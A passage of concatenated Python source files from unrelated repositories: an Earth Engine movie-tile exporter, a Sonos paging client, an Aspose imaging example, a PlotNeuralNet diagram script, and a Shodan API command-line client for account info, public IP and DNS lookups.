zlist: list
A list of integer values of z-levels to process, e.g. z=[3] or z=[3,4,5]
privatekey_path: string
A string specifying the direction of a json keyfile on your local filesystem
e.g. "/Users/me/.privateKeys/key_with_bucket_permissions.json"
bucket_name: string
A string specifying a GCS bucket (to which your private key should have access)
e.g. 'skydipper_materials'
folder_path: string
A string specifying a folder name to create within the target bucket.
e.g. 'movie-tiles/DTEST'
report_status: bool
Set to true if you want the program to report on the files it is generating.
Beware it can get long for high z-levels.
"""
def __init__(self, privatekey_path, bucket_name, folder_path,
area=None, zlist=None, ic=None, report_status=False):
self.storage_client = storage.Client.from_service_account_json(privatekey_path)
self.privatekey_path = privatekey_path
self.bucket = self.storage_client.get_bucket(bucket_name)
self.bucket_name = bucket_name
self.folder_path = folder_path
self.tiler = EE_TILE_CALCS()
self.area = area
self.zlist = zlist
self.ic = ic
self.report_status = report_status
ee.Initialize()
def run(self):
"""Main worker method"""
assert type(self.zlist) == list, "the zlist must be a list to run, e.g. zlist=[2]"
assert type(self.area) == ee.geometry.Geometry, "An area of type ee.geometry.Geometry must be provided to run"
for zlevel in self.zlist:
print(f"🧨 Calculating Z-level {zlevel}")
tileset = self.tiler.getTilesList(self.area, zlevel)
d = self.initial_dic_creation(tileset=tileset) # Starting dic of whatever has been burned to the bucket
to_do = self.get_items_by_state(d, 'WAITING')
for unprocessed in to_do:
z=unprocessed[0].split('/')[-3]
x=unprocessed[0].split('/')[-2]
y=unprocessed[0].split('/')[-1].split('.mp4')[0]
if self.report_status: print(f'{z}/{x}/{y}')
try:
self.movie_maker(tile=unprocessed[1].get('tile'), z=z, x=x, y=y)
except (ee.EEException) as err:
sleep(60 * 5) # Simple - Wait 5 mins and try assigning tasks again (this assumes the only issue )
self.movie_maker(tile=unprocessed[1].get('tile'), z=z, x=x, y=y)
print("Program ended normally. Note that after the files have been generated you should run MovieMaker().reNamer()")
self.reNamer()
return
def movie_maker(self, tile, z, x, y):
"""Generates a single movie tile"""
g = tile.geometry()
filtered = self.ic.filterBounds(g)
#print(f"🗺 Exporting movie-tile to {self.bucket_name}/{self.folder_path}/{z}/{x}/{y}.mp4")
exp_task = ee.batch.Export.video.toCloudStorage(
collection = filtered,
description = f'{z}_{x}_{y}',
bucket= self.bucket_name,
fileNamePrefix = f"{self.folder_path}/{z}/{x}/{y}",
dimensions = [256,256],
framesPerSecond = 2,
region = g)
exp_task.start()
def reNamer(self):
"""Renames source files to a clean target that removes jank added by EE."""
blob_gen = self.bucket.list_blobs(prefix=self.folder_path)
blobs = [blob for blob in blob_gen]
print(f'Scanning target {self.bucket_name}/{self.folder_path} for files that require renaming...')
for blob in blobs:
tmp_name = blob.name
if tmp_name[-4:] == '.mp4' and ("ee-export-video" in tmp_name):
target_name = f"{tmp_name.split('ee-export-video')[0]}.mp4"
if self.report_status: print(f'renaming:{tmp_name}-->{target_name}')
_ = self.bucket.rename_blob(blob, target_name)
def getDoneFileList(self):
"""Returns list of file names in a bucket/path that have already been created"""
blob_gen = self.bucket.list_blobs(prefix=self.folder_path)
blobs = [blob for blob in blob_gen]
completed_files = []
for blob in blobs:
completed_files.append(blob.name)
return completed_files
def getFullTargetList(self, z):
"""
Return a list of all files we intend to create for a specified z (int) target to cover a given ee.Geometry input
area, with a folder path (string) direction appended.
"""
target_list = []
tmp_fc = self.tiler.getTilesForGeometry(self.area, z)
tmp_info = tmp_fc.getInfo() # <---this is the point where I have the properties, I should make sure to propagate them rather then call getinfo again
target_list = [f"{self.folder_path}/{item.get('properties').get('zoom')}/{item.get('properties').get('tx')}/{item.get('properties').get('ty')}.mp4"
for item in tmp_info.get('features')]
return sorted(target_list)
def get_current_status(self):
"""Consult the current EE Task list to see what's what"""
batch_jobs = ee.batch.Task.list()
processing_list = []
processing_status = []
badness_list = []
for job in batch_jobs:
state = job.state
try:
tmp = job.config['description'].split("_")
tmp_fname = f"{self.folder_path}/{tmp[0]}/{tmp[1]}/{tmp[2]}.mp4"
processing_list.append(tmp_fname)
processing_status.append(state)
except:
badness_list.append(job)
return {'processing':processing_list,
'status': processing_status,
'badness': badness_list}
def get_objective_list(self, tileset):
"""Returns a list of target files 1:1 for the target tiles"""
tmp_list = []
for tile in tileset:
tmp_str = tile.__str__()
zoom = json.loads(tmp_str[11:-1]).get('arguments').get('value')
ty = json.loads(tmp_str[11:-1]).get('arguments').get('object').get('arguments').get('value')
tx = json.loads(tmp_str[11:-1]).get('arguments').get('object').get('arguments').get('object').get('arguments').get('value')
tmp_list.append(f"{self.folder_path}/{zoom}/{tx}/{ty}.mp4")
return tmp_list
@staticmethod
def generate_master_dic(objectives, tileset):
d = {}
for obj, tile in zip(objectives, tileset):
d[obj] = {'tile': tile, 'status': "WAITING"}
return d
@staticmethod
def get_items_by_state(d, state="WAITING"):
result = []
for i in d.items():
if (i[1].get('status') == state):
result.append(i)
return result
def initial_dic_creation(self, tileset):
objectives = self.get_objective_list(tileset) # <--- calculate target files to keep track
d = self.generate_master_dic(objectives=objectives, tileset=tileset)
self.reNamer()
done = self.getDoneFileList() # Consult the bucket and see what files have been completed
for item in done:
if d.get(item, None):
d[item]['status']='COMPLETED'
return d | 2.734375 | 3 |
client.py | sammachin/twiliopaging | 1 | 12789745 | <reponame>sammachin/twiliopaging<filename>client.py
#!/usr/bin/env python
import pusherclient
import json
from soco import SoCo
from soco import SonosDiscovery
import time
global pusher
pusher_key = ''
def connect_handler(data):
channel = pusher.subscribe('airpage')
channel.bind('message', callback)
def callback(d):
data = json.loads(d)
url = data['url']
sonos_devices = SonosDiscovery()
ips = sonos_devices.get_speaker_ips()
master = SoCo(ips[0])
masteruid = master.get_speaker_info()['uid']
for ip in ips:
if not (ip == master.speaker_ip):
slave = SoCo(ip)
ret = slave.join(masteruid)
oldvol = master.volume
master.volume = 60
master.play_uri(url)
playing = True
while playing:
if master.get_current_transport_info()['current_transport_state'] == 'STOPPED':
playing = False
master.volume = oldvol
for ip in ips:
if not (ip == master.speaker_ip):
slave = SoCo(ip)
slave.unjoin()
pusher = pusherclient.Pusher(pusher_key)
pusher.connection.bind('pusher:connection_established', connect_handler)
pusher.connect()
while True:
time.sleep(1) | 2.03125 | 2 |
Examples/Python/SDK/manipulate/PerformSeveralOperationsOnImage.py | naeem244/Aspose.Imaging-for-Cloud | 0 | 12789746 | <gh_stars>0
import common
input_file = "sample1.png"
input_path = common.get_path(__file__, input_file)
output_file = "output.jpg"
output_path = common.get_path(__file__, output_file)
format = "jpg"
x = 96
y = 96
newWidth = 300
newHeight = 300
rectWidth = 200
rectHeight = 200
rotateFlipMethod = ""
# invoke Aspose.Imaging Cloud SDK API to perform format change operation without using cloud storage
response = common.imagingApi.PostImageSaveAs_ImagingApi_0(format, newWidth, newHeight, x, y, rectWidth, rectHeight, rotateFlipMethod, file=input_path)
if response.Status == 'OK':
# download image from API response
with open(output_path, 'wb') as f:
for chunk in response.InputStream:
f.write(chunk)
| 3.078125 | 3 |
pyexamples/outside30k.py | carhartt21/PlotNeuralNet | 1 | 12789747 | import sys
import os
sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
import pycore.tikz as tikz
import pycore.blocks as blocks
import pycore.execute as execute
def create_architecture():
input = 40
base_width = 64
arch = []
arch += tikz.start()
arch += tikz.image(name='image_0', file='\\input_image', to=('-3,0,0'), size=(10, 10))
arch += blocks.conv_relu(name='conv_0_0', prev='0,0,0', z_label='I',
size=(input, input), n_filter=64, anchor='', conn=False)
arch += tikz.short_connection(of='image_0', to='conv_0_0', anchor_of='', fill='')
arch += blocks.conv_relu(name='conv_0_1', prev='conv_0_0', z_label='I/2',
size=(input / 2, input / 2), n_filter=64, offset=(2, 0, 0), conn=False)
arch += tikz.short_connection(of='conv_0_0', to='conv_0_1', fill='')
arch += tikz.resample('conv_0_0', 'conv_0_1')
arch += blocks.conv_relu(name='conv_1_0', prev='conv_0_1', z_label='I/4',
size=(input / 4, input / 4), n_filter=64, offset=(1, 0, 0), conn=False)
arch += tikz.short_connection(of='conv_0_1', to='conv_1_0', fill='')
arch += tikz.resample('conv_0_1', 'conv_1_0')
arch += tikz.pool(name='pool_0', width=2, to='conv_1_0', size=(input / 4, input / 4),
offset=(1, 0, 0))
arch += tikz.short_connection(of='conv_1_0', to='pool_0', fill='')
# arch += blocks.multi_conv_relu(num=3, name='conv_1', prev='conv_1_0', name_start=1,
# n_filter=[64, 64, 256], size=(input / 4, input / 4),
# offset=(1.5, 0, 0))
# arch += blocks.tikz.long_connection('conv_1_0', 'conv_1_3', pos=1.5, anchor_to='-northeast')
arch += blocks.bottleneck(3, 'bottleneck_1', prev='pool_0', size=(input / 4, input / 4),
n_filter=[64, 64, 256], offset=(1.5, 0, 0), layer_num=5)
arch += blocks.bottleneck(3, 'bottleneck_2', prev='bottleneck_1_2', size=(input / 4, input / 4),
n_filter=[64, 64, 256], offset=(1.5, 0, 0), layer_num=8)
arch += blocks.bottleneck(3, 'bottleneck_3', prev='bottleneck_2_2', size=(input / 4, input / 4),
n_filter=[64, 64, 256], offset=(1.5, 0, 0), layer_num=11)
arch += blocks.bottleneck(3, 'bottleneck_4', prev='bottleneck_3_2', size=(input / 8, input / 8),
n_filter=[128, 128, 512], offset=(3, 0, 0), layer_num=14)
arch += blocks.bottleneck(3, 'bottleneck_7', prev='bottleneck_4_2', size=(input / 8, input / 8),
n_filter=[128, 128, 512], offset=(1.5, 0, 0), conn=False, ellipsis=True, layer_num=24)
arch += blocks.bottleneck(3, 'bottleneck_8', prev='bottleneck_7_2', size=(input / 16, input / 16),
n_filter=[256, 256, 1024], offset=(1.5, 0, 0), pos=2, layer_num=27)
arch += blocks.bottleneck(3, 'bottleneck_13', prev='bottleneck_8_2', size=(input / 16, input / 16),
n_filter=[256, 256, 1024], offset=(1.5, 0, 0), pos=2, conn=False,
ellipsis=True, layer_num=43)
arch += blocks.bottleneck(3, 'bottleneck_14', prev='bottleneck_13_2', size=(input / 32, input / 32),
n_filter=[512, 512, 2048], offset=(1.5, 0, 0), pos=3, layer_num=46)
arch += blocks.bottleneck(3, 'bottleneck_16', prev='bottleneck_14_2', size=(input / 32, input / 32), layer_num=53,
n_filter=[512, 512, 2048], offset=(1.5, 0, 0), pos=3, conn=False, ellipsis=True)
arch += tikz.coordinate('resnet_last_dummy', of='bottleneck_16_2-east', offset=(3, 0, 0))
arch += tikz.coordinate('resnet_connection_dummy', of='resnet_last_dummy', offset=(0, 0, 6))
arch += tikz.short_connection(of='bottleneck_16_2', to='resnet_last_dummy',
anchor_to='')
arch += tikz.short_connection(to='resnet_connection_dummy', of='resnet_last_dummy',
anchor_to='', anchor_of='')
arch += tikz.pool(name='pool_1', width=2, to='bottleneck_16_2',
size=(input / 4, input / 4), offset=(0, -5, 0), anchor='-center', caption='$1 \\times 1$')
arch += blocks.conv_relu(name='conv_pool_1', prev='pool_1',
offset=(-2.5, 0, 0), size=(input / 32, input / 32),
n_filter=512, anchor='-west', conn=False, rtl=True)
arch += tikz.short_connection(of='pool_1', to='conv_pool_1', anchor_of='-west', anchor_to='-east', options='pos=0.75')
arch += tikz.pool(name='pool_2', width=2, to='pool_1', size=(input / 4, input / 4),
offset=(0, 0, 6), anchor='-center', caption='$2 \\times 2$')
arch += tikz.grid(name='grid_2', at='pool_2', steps=2)
arch += blocks.conv_relu(name='conv_pool_2', prev='pool_2', offset=(-2.5, 0, 0),
size=(input / 32, input / 32), n_filter=512, anchor='-west', conn=False, rtl=True)
arch += tikz.short_connection(of='pool_2', to='conv_pool_2', anchor_of='-west',
anchor_to='-east', options='pos=0.75')
arch += tikz.pool(name='pool_3', width=2, to='pool_2', size=(input / 4, input / 4),
offset=(0, 0, 6), anchor='-center', caption='$4 \\times 4$')
arch += tikz.grid(name='grid_3', at='pool_3', steps=4)
arch += blocks.conv_relu(name='conv_pool_3', prev='pool_3', offset=(-2.5, 0, 0),
size=(input / 32, input / 32), n_filter=512, anchor='-west', conn=False, rtl=True)
arch += tikz.short_connection(of='pool_3', to='conv_pool_3', anchor_of='-west',
anchor_to='-east', options='pos=0.75')
arch += tikz.pool(name='pool_4', width=2, to='pool_3', size=(input / 4, input / 4),
offset=(0, 0, 6), anchor='-center', caption='$8 \\times 8$')
arch += tikz.grid(name='grid_4', at='pool_4', steps=8)
arch += blocks.conv_relu(name='conv_pool_4', prev='pool_4', offset=(-2.5, 0, 0),
size=(input / 32, input / 32), n_filter=512, anchor='-west', conn=False, rtl=True)
arch += tikz.short_connection(of='pool_4', to='conv_pool_4', anchor_of='-west',
anchor_to='-east', options='pos=0.75')
arch += blocks.conc(name='conc_1', prev='pool_2', offset=(-5, 0, 2.5), conn=False)
arch += tikz.coordinate('dummy_pool_1', 'pool_1-east', (5, 0, 0))
arch += tikz.coordinate('dummy_pool_2', 'pool_2-east', (5, 0, 0))
arch += tikz.coordinate('dummy_pool_3', 'pool_3-east', (5, 0, 0))
arch += tikz.coordinate('dummy_pool_4', 'pool_4-east', (5, 0, 0))
arch += tikz.short_connection('dummy_pool_1', 'pool_1', anchor_of='', anchor_to='-east')
arch += tikz.double_connection('dummy_pool_1', 'dummy_pool_2', 'pool_2', anchor_of='', anchor_to='-east')
arch += tikz.double_connection('dummy_pool_2', 'dummy_pool_3', 'pool_3', anchor_of='', anchor_to='-east')
arch += tikz.double_connection('dummy_pool_3', 'dummy_pool_4', 'pool_4', anchor_of='', anchor_to='-east')
arch += tikz.z_connection(of='resnet_last_dummy', to='dummy_pool_1', anchor_to='', shift=(6, 0, 0), anchor_of='')
# arch += tikz.z_connection(of='conv_5_0_1', to='pool_2', anchor_of='-anchor', anchor_to='-east', shift=(-1, -1.5, 2))
# arch += tikz.short_connection(of='conv_5_0_1', to='pool_3', anchor_of='-west', anchor_to='-south')
# arch += tikz.z_connection(of='conv_5_0_1', to='pool_4', anchor_of='-west', anchor_to='-north', shift=(0, 0, 0))
arch += tikz.z_connection('conv_pool_1', 'conc_1', anchor_of='-west', anchor_to='-northeast', shift=(-2, 0, 0))
arch += tikz.z_connection('conv_pool_2', 'conc_1', anchor_of='-west', anchor_to='-east', shift=(0, 0, 0))
arch += tikz.z_connection('conv_pool_3', 'conc_1', anchor_of='-west', anchor_to='-southeast', shift=(-0, 0, 0))
arch += tikz.z_connection('conv_pool_4', 'conc_1', anchor_of='-west', anchor_to='-southwest', shift=(-2, 0, 0))
arch += tikz.z_connection('resnet_connection_dummy', 'conc_1', anchor_of='',
anchor_to='-northwest', shift=(-4.5, 0, 0))
arch += blocks.conv_relu(name='conv_60', prev='conc_1', offset=(-2.5, 0, 0),
size=(input / 32, input / 32), n_filter=512, anchor='-west', conn=False)
arch += tikz.short_connection(of='conc_1', to='conv_60', anchor_of='-west',
anchor_to='-east', options='pos=0.75')
arch += blocks.conv_relu(name='conv_60', prev='conc_1', offset=(-2.5, 0, 0),
size=(input / 32, input / 32), n_filter=512, anchor='-west', conn=False, rtl=True)
arch += tikz.z_conv_relu(name='conv_61', to='bottleneck_14_connection', offset=(0, 0, 8),
size=(input / 16, input / 16), n_filter=512)
arch += tikz.short_connection('bottleneck_14_connection', 'conv_61', anchor_of='', anchor_to='-far')
arch += blocks.sum(name='sum_1', prev='conv_60', offset=(-3, 2, 0), conn=False, )
arch += tikz.short_connection('conv_61', 'sum_1', anchor_of='-near', anchor_to='-northeast')
arch += blocks.upsample(name='up_1', prev='sum_1', offset=(-2.5, 0, 0),
size=(input / 16, input / 16), n_filter=512, anchor='-west', anchor_of='-west', conn=True)
arch += blocks.conv_relu(name='conv_62', prev='conv_60', offset=(-5, 0, 9.4),
size=(input / 16, input / 16), n_filter=512, anchor='-west', conn=False, rtl=True)
arch += tikz.z_connection(of='conv_60', to='sum_1', anchor_of='-farwest',
anchor_to='-east', shift=(-0.3,0,-5))
arch += tikz.z_conv_relu(name='conv_63', to='bottleneck_8_connection', offset=(0, 0, 8),
size=(input / 8, input / 8), n_filter=512)
arch += tikz.short_connection('bottleneck_8_connection', 'conv_63', anchor_of='', anchor_to='-far')
arch += blocks.sum(name='sum_2', prev='up_1', offset=(-3, 0, 0), conn=False)
arch += tikz.short_connection('conv_63', 'sum_2', anchor_of='-near', anchor_to='-northeast')
arch += tikz.short_connection('up_1', 'sum_2', anchor_of='-west', anchor_to='-east')
arch += blocks.upsample(name='up_2', prev='sum_2', offset=(-2.5, 0, 0),
size=(input / 8, input / 8), n_filter=512, anchor='-west', anchor_of='-west')
arch += tikz.z_conv_relu(name='conv_64', to='up_1-south', offset=(-0.2, 0, 5),
size=(input / 8, input / 8), n_filter=512)
arch += tikz.short_connection(of='up_1', to='conv_64', anchor_of='-nearsouthwest', anchor_to='-far')
arch += tikz.z_conv_relu(name='conv_65', to='bottleneck_4_connection', offset=(-0.25, 0, 10),
size=(input / 4, input / 4), n_filter=512)
arch += tikz.short_connection('bottleneck_4_connection', 'conv_65', anchor_of='', anchor_to='-far', options='pos=0.6')
arch += blocks.sum(name='sum_3', prev='up_2', offset=(-3, 0, 0), conn=False)
arch += tikz.short_connection('conv_65', 'sum_3', anchor_of='-near', anchor_to='-northeast')
arch += tikz.short_connection('up_2', 'sum_3', anchor_of='-west', anchor_to='-east')
arch += tikz.z_conv_relu(name='conv_66', to='up_2-nearsouthwest', offset=(-0.65, 0, 3),
size=(input / 4, input / 4), n_filter=512)
arch += tikz.short_connection(of='up_2', to='conv_66', anchor_of='-nearsouthwest', anchor_to='-far', fill='')
arch += tikz.z_conv_relu(name='up_3', to='sum_3-southwest', offset=(-0.75, 0, 6),
size=(input / 4, input / 4), n_filter=512)
arch += tikz.short_connection(of='sum_3', to='up_3', anchor_of='-southwest', anchor_to='-far', fill='')
arch += blocks.conc(name='conc_2', prev='conv_62', offset=(-11, 0.5, 0), conn=False)
arch += tikz.z_connection(of='conv_60', to='conv_62', anchor_of='-nearwest', anchor_to='-east', shift=(-1, -2, 4))
arch += tikz.z_connection(of='conv_64', to='conc_2', anchor_of='-near', anchor_to='-east', shift=(-1, -1.45, 2.75))
arch += tikz.short_connection(of='conv_62', to='conc_2', anchor_of='-east', anchor_to='-south')
arch += tikz.z_connection(of='conv_66', to='conc_2', anchor_of='-near', anchor_to='-northeast', shift=(0, 0, 0))
arch += tikz.z_connection(of='up_3', to='conc_2', anchor_of='-near', anchor_to='-west', shift=(0, 0, 6))
arch += blocks.conv_relu(name='conv_67', prev='conc_2', n_filter=512, size=(input / 4, input / 4), rtl=True, offset=(-4, 0, 8), conn=False)
arch += tikz.z_connection(of='conc_2', to='conv_67', anchor_of='-southwest', anchor_to='-east', shift=(0, 0, 7.1))
arch += blocks.conv_relu(name='conv_68', prev='conv_67', n_filter='27', width=2,
size=(input / 4, input / 4), rtl=True, offset=(-3.5, 0, 0), anchor='-west', anchor_to='-east')
arch += tikz.soft_max('soft_max', offset=(-2, 0, 0), to='conv_68', size=(input / 4, input / 4),
n_filter=1, anchor_to='-west')
arch += tikz.short_connection('conv_68', 'soft_max', anchor_of='-west', anchor_to='-east')
arch += tikz.results_upsampling()
arch += tikz.spatial_mask()
arch += tikz.legend()
# arch += tikz.resample('image_1', 'image_2')
# arch += tikz.short_connection(of='conv_61', to='sum_1', anchor_of='-east',
# anchor_to='-west')
# arch += tikz.resample('image_1', 'image_2')
# Close environment
arch += tikz.env_end()
return arch
def main():
pdf = False
namefile = str(sys.argv[0]).split('.')[0]
arch = create_architecture()
# to_Generate(arch, namefile + '.tex')
content = execute.build_architecture(arch)
execute.write_tex(content, namefile + ".tex")
if pdf:
execute.tex_to_pdf(namefile + ".tex")
if sys.platform.startswith('linux'):
execute.open_pdf('xdg-open', os.path.join(namefile + '.pdf'))
elif sys.platform.startswith('win32'):
os.startfile(os.path.join(namefile + '.pdf'))
if __name__ == '__main__':
main()
| 2.3125 | 2 |
src/shodan.py | throne/throne-cli | 4 | 12789748 | <filename>src/shodan.py
# LICENSED UNDER BSD-3-CLAUSE-CLEAR LICENSE
# SEE PROVIDED LICENSE FILE IN ROOT DIRECTORY
# Import Third Party Modules
import logging
import click
import yaml
import os
from pathlib import Path
# Import Throne Modules
from src.parsers import json_request, shodan_parser
from src.exceptions import ThroneFormattingError, ThroneConfigError
# Set log variable for verbose output
log = logging.getLogger(__name__)
# Get home directory
home = os.path.expanduser("~")
config_file = f'{home}/.throne/config.yml'
try:
config = yaml.safe_load(open(config_file))
shodan_apikey = config['shodan_key']
except:
pass
# URLs
SHODAN_HOST = 'https://api.shodan.io/shodan/host/'
SHODAN_INFO = 'https://api.shodan.io/api-info'
SHODAN_TOOLS = 'https://api.shodan.io/tools/'
SHODAN_DNS = 'https://api.shodan.io/dns/'
@click.group()
def shodan():
"""
Retrieve information from Shodan.
"""
pass
@shodan.command()
def setapi():
"""
Use this command to set your Shodan API key.
"""
try:
if not os.path.exists(f"{home}/.throne"):
os.makedirs(f"{home}/.throne")
Path(f'{home}/.throne/config.yml').touch()
apikey_input = input("Enter Shodan API Key: ")
shodan_apikey = {'shodan_key': f"{apikey_input}"}
with open(f"{home}/.throne/config.yml", 'r+') as throne_config:
if os.stat(config_file).st_size == 0:
yaml.safe_dump(shodan_apikey, throne_config)
else:
config = yaml.safe_load(throne_config)
config.update(shodan_apikey)
yaml.safe_dump(shodan_apikey, throne_config)
click.secho("Successfully set Shodan API key.", fg="green")
except:
raise ThroneConfigError("Failed to set Shodan API key.")
@shodan.command(hidden=True)
@click.argument('address', nargs=1, metavar="IP_ADDRESS")
def test(address):
"""
This command prints raw JSON information for IP addresses\n
from Shodan.
"""
url = '{0}{1}?key={2}'.format(SHODAN_HOST, address, shodan_apikey)
response = json_request._JSONRequest().get_json(url=url)
print(response)
@shodan.command()
@click.option('--raw', '-r', is_flag=True)
def info(raw):
"""
Return information about the plan belonging to\n
the provided API key.
"""
try:
url = '{0}?key={1}'.format(SHODAN_INFO, shodan_apikey)
except NameError:
raise ThroneConfigError("Is your API key set? Run `throne shodan setapi` to set your API key.")
response = json_request._JSONRequest().get_json(url=url)
parse_json = shodan_parser._APIInfo(response)
parse_json.parse()
result = parse_json.vars
if raw:
click.echo(result)
else:
click.secho("---Shodan API Info---", fg="green")
click.echo(f"Shodan API Plan: {result['plan'].upper()}")
click.echo(f"Total Scan Credits: {result['scan_limit']}\n Used Credits: {result['used_scan_credits']}\n Unused Credits: {result['scan_credits']}")
click.echo(f"Total Query Credits {result['query_limit']}\n Used Credits: {result['used_query_credits']}\n Unused Credits: {result['query_credits']}")
click.echo(f"Monitored IPs: {result['monitored_ips']}\n Monitored IP Limit: {result['ip_limit']}")
click.echo(f"Unlocked: {result['unlocked']}\n Unlocked Left: {result['unlocked_left']}")
@shodan.command()
@click.option('--raw', '-r', is_flag=True)
def myip(raw):
"""
Get your current public IP address.
"""
try:
url = '{0}myip?key={1}'.format(SHODAN_TOOLS, shodan_apikey)
except NameError:
raise ThroneConfigError("Is your API key set? Run `throne shodan setapi` to set your API key.")
response = json_request._JSONRequest().get_json(url=url)
if raw:
click.echo(response)
else:
click.secho("---Public IP Address---", fg="green")
click.echo(f"{response}")
@shodan.command()
@click.option(
'--query-type',
'-q',
type=click.Choice(['resolve', 'reverse', 'domain'], case_sensitive=False),
help="Query type: Resolve DNS, Resolve Reverse DNS, or Get Domain Information"
)
@click.option('--raw', '-r', is_flag=True)
@click.argument('query', metavar="query", nargs=-1)
def dns(query_type, query, raw):
"""
Host to IP, IP to Host, Domain DNS information.
"""
try:
query_list = []
for domain in query:
query_list.append(domain)
query = ','.join(query_list)
if query_type is None:
click.secho("You must specify a --query-type/-q option! View 'throne shodan dns --help' for more information.", fg="red")
exit()
elif "reverse" in query_type:
url = '{0}reverse?ips={1}&key={2}'.format(SHODAN_DNS, query, shodan_apikey)
elif "domain" in query_type:
if len(query_list) > 1:
raise ThroneFormattingError("Only 1 domain can be specified! Remove the others and try again.")
url = '{0}domain/{1}?key={2}'.format(SHODAN_DNS, query, shodan_apikey)
elif "resolve" in query_type:
url = '{0}resolve?hostnames={1}&key={2}'.format(SHODAN_DNS, query, shodan_apikey)
except NameError:
raise ThroneConfigError("Is your API key set? Run `throne shodan setapi` to set your API key.")
response = json_request._JSONRequest().get_json(url=url)
parse_json = shodan_parser._DNS(json_result=response, query_type=query_type)
parse_json.parse()
results = parse_json.vars
if raw:
click.echo(results)
else:
click.secho("---Shodan DNS Results---", fg="yellow")
if "reverse" in query_type:
for result in results['result']:
click.secho(f"{result['ip']}", fg="red", nl=False)
click.secho(" resolves to ", nl=False)
click.secho(f"{result['hostname']}", fg="red")
if "resolve" in query_type:
for result in results['result']:
click.secho(f"{result['hostname']}", fg="red", nl=False)
click.secho(" resolves to ", nl=False)
click.secho(f"{result['ip']}", fg="red")
if "domain" in query_type:
domain_tags = ', '.join(results['tags'])
subdomains = ', '.join(results['subdomains'])
all_domains = []
types = []
records = []
click.secho("Domain: ", fg="green", nl=False)
click.echo(f"{results['domain']}")
click.secho("Shodan Tags: ", fg="green", nl=False)
click.echo(f"{domain_tags}")
click.secho("Subdomains: ", fg="green", nl=False)
click.echo(f"{subdomains}")
for domains in results['records']:
for domain in domains.items():
all_domains.append(domain[0])
for record in domain[1]:
records.append(record)
record_types = record['type']
if record_types not in types:
types.append(record_types)
else:
pass
for domain in all_domains:
click.secho(f"--{domain} Records--", fg="magenta")
for record in records:
if (record['domain'] == domain) and (record['type'] == "A"):
click.echo("A Records:")
break
for record in records:
if (record['domain'] == domain) and (record['type'] == "A"):
ports = ', '.join((str(x) for x in record['ports']))
if ports == "":
click.echo(f" Value: {record['value']} | Last Seen: {record['last_seen']}")
else:
click.echo(f" Value: {record['value']}", nl=False)
click.echo(f" | Ports Opened: {ports} | Last Seen: {record['last_seen']}")
for record in records:
if (record['domain'] == domain) and (record['type'] == "AAAA"):
click.echo("AAAA Records:")
break
for record in records:
if (record['domain'] == domain) and (record['type'] == "AAAA"):
ports = ', '.join((str(x) for x in record['ports']))
if ports == "":
click.echo(f" Value: {record['value']} | Last Seen: {record['last_seen']}")
else:
click.echo(f" Value: {record['value']}", nl=False)
click.echo(f" | Ports Opened: {ports} | Last Seen: {record['last_seen']}")
for record in records:
if (record['domain'] == domain) and (record['type'] == "CNAME"):
click.echo("CNAME Records:")
break
for record in records:
if (record['domain'] == domain) and (record['type'] == "CNAME"):
ports = ', '.join((str(x) for x in record['ports']))
if ports == "":
click.echo(f" Value: {record['value']} | Last Seen: {record['last_seen']}")
else:
click.echo(f" Value: {record['value']}", nl=False)
click.echo(f" | Ports Opened: {ports} | Last Seen: {record['last_seen']}")
for record in records:
if (record['domain'] == domain) and (record['type'] == "MX"):
click.echo("MX Records:")
break
for record in records:
if (record['domain'] == domain) and (record['type'] == "MX"):
ports = ', '.join((str(x) for x in record['ports']))
if ports == "":
click.echo(f" Value: {record['value']} | Last Seen: {record['last_seen']}")
else:
click.echo(f" Value: {record['value']}", nl=False)
click.echo(f" | Ports Opened: {ports} | Last Seen: {record['last_seen']}")
for record in records:
if (record['domain'] == domain) and (record['type'] == "NS"):
click.echo("NS Records:")
break
for record in records:
if (record['domain'] == domain) and (record['type'] == "NS"):
ports = ', '.join((str(x) for x in record['ports']))
if ports == "":
click.echo(f" Value: {record['value']} | Last Seen: {record['last_seen']}")
else:
click.echo(f" Value: {record['value']}", nl=False)
click.echo(f" | Ports Opened: {ports} | Last Seen: {record['last_seen']}")
for record in records:
if (record['domain'] == domain) and (record['type'] == "PTR"):
click.echo("PTR Records:")
break
for record in records:
if (record['domain'] == domain) and (record['type'] == "PTR"):
ports = ', '.join((str(x) for x in record['ports']))
if ports == "":
click.echo(f" Value: {record['value']} | Last Seen: {record['last_seen']}")
else:
click.echo(f" Value: {record['value']}", nl=False)
click.echo(f" | Ports Opened: {ports} | Last Seen: {record['last_seen']}")
for record in records:
if (record['domain'] == domain) and (record['type'] == "CERT"):
click.echo("CERT Records:")
break
for record in records:
if (record['domain'] == domain) and (record['type'] == "CERT"):
ports = ', '.join((str(x) for x in record['ports']))
if ports == "":
click.echo(f" Value: {record['value']} | Last Seen: {record['last_seen']}")
else:
click.echo(f" Value: {record['value']}", nl=False)
click.echo(f" | Ports Opened: {ports} | Last Seen: {record['last_seen']}")
for record in records:
if (record['domain'] == domain) and (record['type'] == "SRV"):
click.echo("SRV Records:")
break
for record in records:
if (record['domain'] == domain) and (record['type'] == "SRV"):
ports = ', '.join((str(x) for x in record['ports']))
if ports == "":
click.echo(f" Value: {record['value']} | Last Seen: {record['last_seen']}")
else:
click.echo(f" Value: {record['value']}", nl=False)
click.echo(f" | Ports Opened: {ports} | Last Seen: {record['last_seen']}")
for record in records:
if (record['domain'] == domain) and (record['type'] == "TXT"):
click.echo("TXT Records:")
break
for record in records:
if (record['domain'] == domain) and (record['type'] == "TXT"):
ports = ', '.join((str(x) for x in record['ports']))
if ports == "":
click.echo(f" Value: {record['value']} | Last Seen: {record['last_seen']}")
else:
click.echo(f" Value: {record['value']}", nl=False)
click.echo(f" | Ports Opened: {ports} | Last Seen: {record['last_seen']}")
for record in records:
if (record['domain'] == domain) and (record['type'] == "SOA"):
click.echo("SOA Records:")
break
for record in records:
if (record['domain'] == domain) and (record['type'] == "SOA"):
ports = ', '.join((str(x) for x in record['ports']))
if ports == "":
click.echo(f" Value: {record['value']} | Last Seen: {record['last_seen']}")
else:
click.echo(f" Value: {record['value']}", nl=False)
click.echo(f" | Ports Opened: {ports} | Last Seen: {record['last_seen']}")
for record in records:
if (record['domain'] == domain) and (record['type'] == "DNSKEY"):
click.echo("DNSKEY Records:")
break
for record in records:
if (record['domain'] == domain) and (record['type'] == "DNSKEY"):
ports = ', '.join((str(x) for x in record['ports']))
if ports == "":
click.echo(f" Value: {record['value']} | Last Seen: {record['last_seen']}")
else:
click.echo(f" Value: {record['value']}", nl=False)
